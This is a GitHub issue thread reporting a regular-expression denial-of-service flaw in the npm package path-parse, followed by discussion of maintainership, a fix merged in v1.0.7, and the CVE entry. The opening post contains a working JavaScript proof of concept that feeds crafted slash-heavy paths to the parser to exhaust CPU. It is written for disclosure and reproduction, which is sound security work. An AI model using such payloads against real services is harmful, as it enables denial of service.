Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ReDoS in path-parse #8

Closed
yetingli opened this issue Feb 9, 2021 · 26 comments
Closed

ReDoS in path-parse #8

yetingli opened this issue Feb 9, 2021 · 26 comments

Comments

@yetingli
Copy link

yetingli commented Feb 9, 2021

Hi,

I would like to report two Regular Expression Denial of Service (REDoS) vulnerabilities in path-parse.

It allows cause a denial of service when parsing crafted invalid paths.

You can execute the code below to reproduce the vulnerability.​

var pathParse = require('path-parse');
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "/"
    }
    return ret + "◎";
}

for(var i = 1; i <= 5000000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        pathParse(attack_str);
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

Feel free to contact me if you have any questions.

Best regards,
Yeting Li​​​​

@ljharb
Copy link

ljharb commented May 5, 2021

@n8ores
Copy link

n8ores commented May 12, 2021

Is there any update on patching this vulnerability? This is a core NPM package that is heavily used by many other packages and I foresee a lot of failing pipelines now that this has a CVE logged.

@n8ores
Copy link

n8ores commented May 13, 2021

I have emailed @jbgutierrez to see if he would be willing to patch this, but have not yet received a response.

@jbgutierrez
Copy link
Owner

I'm willing to transfer this repo to anyone interested in its maintenance. Would you?

@cameron-martin
Copy link

If there aren't any other takers, I would be happy to maintain it, since the organisation that I work for, ForgeRock, also has interest in this package not having security vulnerabilities.

Alternatively, having multiple maintainers may be a good idea, for a higher chance of changes like this being made.

@ljharb
Copy link

ljharb commented May 13, 2021

@jbgutierrez i will be happy to take it on, since resolve relies on it. it could also live in the browserify org if that’s preferred.

@jeffrey-pinyan-ithreat
Copy link
Contributor

I have an extensive history with regexes from my Perl days. Even though node doesn't support (?>...), I can think of one quick solution, which is replacing [\s\S]*? with a more specific pattern.

@jeffrey-pinyan-ithreat
Copy link
Contributor

jeffrey-pinyan-ithreat commented May 13, 2021

#10 https://github.com/jeffrey-pinyan-ithreat/path-parse fixes the problem without breaking any tests.

@jeffrey-pinyan-ithreat
Copy link
Contributor

jeffrey-pinyan-ithreat commented May 13, 2021

The regexes could stand a bit more tweaking to make them a little simpler.

(\/?|) is redundant and should just be (\/?), for example.

@victory-glitch
Copy link

@jbgutierrez @ljharb Is there any update on fixing this vulnerability? There is already a PR open to fix this and there doesn't seem to be anyone disagreeing with the fix, so can we merge the PR and deploy v1.0.7 to get this security issue removed?

The resolve library is using this dependency, and the Angular CLI has started using resolve as a dependency since v11. Our security team does not want open vulnerabilities in our Angular codebase (regardless of its actual potential for misuse, which is the better approach to security anyways), so we are delaying on Angular v10 to avoid triggering this on our security scans.

@ljharb
Copy link

ljharb commented May 20, 2021

@hareharey as soon as I'm handed the repo/commit bit, and also the npm publish rights, I'd be happy to take care of it.

@Skhoshhal
Copy link

Some good news regarding to this issue ?

@n8ores
Copy link

n8ores commented May 24, 2021

Any update on supplying repo/commit and npm publish rights to @ljharb ?

@victory-glitch
Copy link

@n8ores It looks like @jbgutierrez just merged PR #10 to fix the redos issue and he published v1.0.7 to the npm registry so you should be good there.

@ljharb would just need to update browserify to point to the new dependency and ideally the Angular dependency issue should be fixed in the next minor version.

However, I'm not sure how to update the official snyk.io page for this vulnerability so that it shows the new fix version. Maybe @yetingli could help with that?

@ljharb
Copy link

ljharb commented May 25, 2021

resolve uses ^, as does browserify, so no update should be needed.

@n8ores
Copy link

n8ores commented May 25, 2021

Noting that the NVD still flags this as a vulnerability for all versions. I have asked them how we go about updating this CVE Entry: https://nvd.nist.gov/vuln/detail/CVE-2021-23343

Filename: path-parse:1.0.7 | Reference: CVE-2021-23343 | CVSS Score: 7.5 | Category: NVD-CWE-noinfo | All versions of package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity

@ajssd
Copy link

ajssd commented Jul 26, 2022

If this problem has indeed been fixed, is it possible to update the entry here https://nvd.nist.gov/vuln/detail/CVE-2021-23343 so that it doesn't say "All versions of package path-parse are vulnerable..." ?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests